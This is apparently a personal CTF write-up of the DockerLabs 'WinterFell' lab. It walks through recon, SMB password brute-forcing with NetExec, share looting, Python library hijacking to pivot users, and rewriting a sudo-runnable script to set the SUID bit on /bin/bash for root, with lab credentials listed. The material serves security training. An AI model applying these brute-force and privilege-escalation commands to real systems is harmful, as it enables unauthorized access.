> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/winterfell.md).

# WinterFell

| Field               | Details    |
| ------------------- | ---------- |
| **Platform**        | DockerLabs |
| **OS**              | Linux      |
| **Difficulty**      | Easy       |
| **Personal Rating** | ⭐⭐⭐⭐☆      |
| **Date**            | 2026-04-11 |
| **Author**          | Zaiden     |

***

### Summary

**Attack Path:** `Recon` → `Information Disclosure` → `SMB Brute Force` → `SSH Foothold (jon)` → `Python Library Hijacking (aria)` → `Sudo cat/ls abuse (daenerys)` → `SUID Bash (Root)`.

***

### 1. Reconnaissance

#### 1.1 Fast Port Scan

We begin with a fast Nmap scan to identify all open ports:

```bash
nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5
```

**Result:** Ports `22`, `80`, `139` and `445` are open.

<figure><img src="/files/sEOImmblV22LyHPl8HPh" alt=""><figcaption></figcaption></figure>

***

#### 1.2 Targeted Port Scan

Now we run a service and version detection scan targeting only the open ports found above:

```bash
nmap 172.17.0.2 -p 22,80,139,445 -sS -Pn -sCV
```

<figure><img src="/files/6srQY8ZbRzlDb5vTe7j1" alt=""><figcaption></figcaption></figure>

***

#### 1.3 Exploit Search

We check for known exploits or shellcodes for the detected services:

```bash
searchsploit <service> <version>
```

***

#### 1.4 Web Exploration

We manually browse to `http://172.17.0.2` before automating anything.

<figure><img src="/files/ozEPP7kjGvllONP2IQBf" alt=""><figcaption></figcaption></figure>

The web server at `http://172.17.0.2` hosts a Game of Thrones-themed page titled **"Diario de Jon"**, featuring a short narrative excerpt and a button that plays audio. No sensitive information was found in the page source, headers, or common endpoints (`robots.txt`, `sitemap.xml`). Moving on to directory enumeration.

***

#### 1.5 Directory Enumeration

We brute-force directories with ffuf:

```bash
ffuf -u http://172.17.0.2/FUZZ -w /usr/share/wordlists/dirb/big.txt -e .html,.php,.txt
```

**Findings:**

| Path        | Status Code | Notes                                            |
| ----------- | ----------- | ------------------------------------------------ |
| /dragon     | 301         | Show us a directory index with a txt file on it. |
| /index.html | 200         | Gets us to the website we landed on.             |

<figure><img src="/files/DWb2PKyTlK2iW5KWy8h1" alt=""><figcaption></figcaption></figure>

***

#### 1.6 Investigating Findings

```bash
curl -s http://172.17.0.2/dragon/EpisodiosT1
```

<figure><img src="/files/Ty83I78M9llDodAC0gpV" alt=""><figcaption></figcaption></figure>

Navigating to `/dragon`, we find a directory index containing a single text file: `EpisodiosT1`. Its contents reveals a list of Game of Thrones S1 episode titles, written without spaces.

This strongly looks like a password list. Cross-referencing with the characters mentioned in the `index.html` (Jon, Arya and Daenerys), we have a set of potential usernames to use against it.

***

### 2. Exploitation

#### 2.1 Vulnerability Identified

* **Vulnerability:** Sensitive information disclosure via exposed web content.
* **CVE (if any):** N/A
* **Affected Service/Component:** Samba SMBD4 on port 445.

***

#### 2.2 Step-by-Step Walkthrough

**Step 1 — \[SMB Credential Brute-Force]**

```bash
nxc smb 172.17.0.2 -u users.txt -p passwords.txt
```

<figure><img src="/files/mf896RuhZrzAjBuUoQ0Z" alt=""><figcaption></figcaption></figure>

\_Using the usernames from `index.html` and the password list from `/dragon/EpisodiosT1`, we bruteforce the SMB service with NetExec. We get a hit: `jon:seacercaelinvierno`.

**Step 2 — \[SMB Share Enumeration]**

```bash
nxc smb 172.17.0.2 -u jon -p seacercaelinvierno --shares
```

<figure><img src="/files/ANM6aRm6PBunhomL9FSA" alt=""><figcaption></figcaption></figure>

*Authenticated as `jon`, we enumerate available SMB shares. We find four shares, `print$`, `shared`, `IPC$` and `jon`.*

**Step 3 — \[SMB Looting]**

```bash
smbclient '//172.17.0.2/shared' -U 'jon%seacercaelinvierno'

smbclient '//172.17.0.2/jon' -U 'jon%seacercaelinvierno'
```

<figure><img src="/files/g7wb2ZNksToOaZRSDIC3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/n1c7yzfCjIham4MCzOt2" alt=""><figcaption></figcaption></figure>

*We connect to both accesible shares. The `shared` share contains a file called `proteccion_del_reino`. Jon's home share contains a hidden Python script `.mensaje.py` and a note called `paraJon`. We download all three files for analysis.*

**Step 4 — \[Analysing Retrieved Files]**

```bash
cat paraJon
cat proteccion_del_reino
echo -n "aGlqb2RlbGFuaXN0ZXI=" | base64 -d
```

<figure><img src="/files/cthqyGv1sCjKjz9CO9aO" alt=""><figcaption></figcaption></figure>

*`paraJon` instructs Jon to use the hidden tool `.mensaje.py` to encrypt messages. `proteccion_del_reino` revealed a Base64 encoded string: `aGlqb2RlbGFuaXN0ZXI=`, described as Jon's encrypted password. Decoding it gives us `hijodelanister`*

**Step 5 — Shell / Foothold Obtained**

```bash
ssh jon@172.17.0.2
# password: hijodelanister
```

<figure><img src="/files/PnBsujgXGK3j0MO7I7iT" alt=""><figcaption></figcaption></figure>

*Initial shell obtained as \[jon]*

***

#### 2.3 Proof of Concept

> Clean summary of the exact commands that led to initial access — no fluff, just the chain.

```bash
nxc smb 172.17.0.2 -u users.txt -p passwords.txt

nxc smb 172.17.0.2 -u jon -p seacercaelinvierno --shares

smbclient '//172.17.0.2/shared' -U 'jon%seacercaelinvierno' -c "get proteccion_del_reino"

smbclient '//172.17.0.2/jon' -U 'jon%seacercaelinnierno' -c "get .mensaje.py; get paraJon"

echo -n "aGlqb2RlbGFuaXN0ZXI=" | base64 -d

ssh jon@172.17.0.2
```

***

#### 2.4 Loot

| Item           | Value                 |
| -------------- | --------------------- |
| Username       | jon                   |
| Password (SSH) | hijodelanister        |
| Password (SMB) | seacercaelinvierno    |
| Hidden Script  | /home/jon/.mensaje.py |

***

### 3. Privilege Escalation

#### 3.1 Enumeration Checklist

```bash
sudo -l
python3 -c "import sys; print(sys.path)"
```

<figure><img src="/files/1smtfA4TOSaNRuDQ3qaN" alt=""><figcaption></figcaption></figure>

*`sudo -l` reveals that `jon` can run `/usr/bin/python3 /home/jon/.mensaje.py` as `aria` without a password. Checking python's `sys.path` shows that the empty string `''` is first, meaning the current directory is searched first for imports. Since `jon` owns `/home/jon`, we can plant a malicious module there.*

***

#### 3.2 PrivEsc Method

* **Vector:** Python library hijacking via writable current directory in `sys.path`
* **Reference:** [HackTricks - Python Library Hijacking](https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes/python-bypassing-sys.path)

```bash
nano /home/jon/hashlib.py
sudo -u aria /usr/bin/python3 /home/jon/.mensaje.py
```

<figure><img src="/files/zNe0G6roKk65UyaVILhn" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/WA42x4lWE7qQY3LowZ6G" alt=""><figcaption></figcaption></figure>

*Escalating to Aria via `hashlib.py` hijacking.*

***

#### 3.3 Enumeration Checklist

```bash
sudo -l
sudo -u daenerys ls /home/daenerys
sudo -u daenerys cat /home/daenerys/mensajeParaJon
```

<figure><img src="/files/6xrOsWwfRgaDEO6uVLvM" alt=""><figcaption></figcaption></figure>

*`sudo -l` reveals that `aria` can run `/usr/bin/cat` and `/usr/bin/ls` as `daenerys` without a password. We list `daenerys`'s home directory and find a file called `mensajeParaJon`. Reading it reveals a message containing daenerys' plaintext password: `!drakaris!`.*

***

#### 3.4 Lateral Movement

* **Vector:** Sudo misconfiguration, `aria` can run `cat` and `ls` as `daenerys`, exposing a plaintext password in her home directory.

```bash
su daenerys
# password: drakaris (for some reason it's not !drakaris!, unintuitive)
```

<figure><img src="/files/TDjsOjZRNicDQaGLKaCQ" alt=""><figcaption></figcaption></figure>

*Using the recovered password we swap to `daenerys`*

***

#### 3.5 Enumeration Checklist

```bash
sudo -l
cat .secret/.shell.sh
```

<figure><img src="/files/U54wgcu0N369y2Czp6WH" alt=""><figcaption></figcaption></figure>

*`sudo -l` reveals that `daenerys` can run `/usr/bin/bash /home/daenerys/.secret/.shell.sh` as `root` without a password. Inspecting the script reveals a bash reverse shell connecting to `192.168.234.42:443`.*

***

#### 3.6 PrivEsc Method

* **Vector:** Sudo misconfiguration, `daenerys` owns `.shell.sh` and can modify it. SInce sudo allows running it as root via `/usr/bin/bash`, we replace the content to set the SUID bit on `/bin/bash`, then spawn a root shell.

```bash
sudo nano /home/daenerys/.secret/.shell.sh
# 'chmod u+s /bin/bash'
sudo /usr/bin/bash /home/daenerys/.secret/.shell.sh
/bin/bash -p
```

<figure><img src="/files/OlvLaGYS8FE0JMmDzIIx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3lYoWqdh1w251FoDU50e" alt=""><figcaption></figcaption></figure>

### 4. Lessons Learned

#### What Worked Well

* Methodical web enumeration led to credential discovery across two separate pages
* Python library hijacking was cleanly executed via writable `sys.path`.

#### Rabbit Holes / What Didn't Work

* Initial SSH brute-force attempt with the user and passwords lists got no results, the correct target was SMB on port 445.

#### New Tools or Techniques Used

* `nxc` for SMB enumeration and brute-forcing.
* Python library hijacking via writable current directory in `sys.path`.

***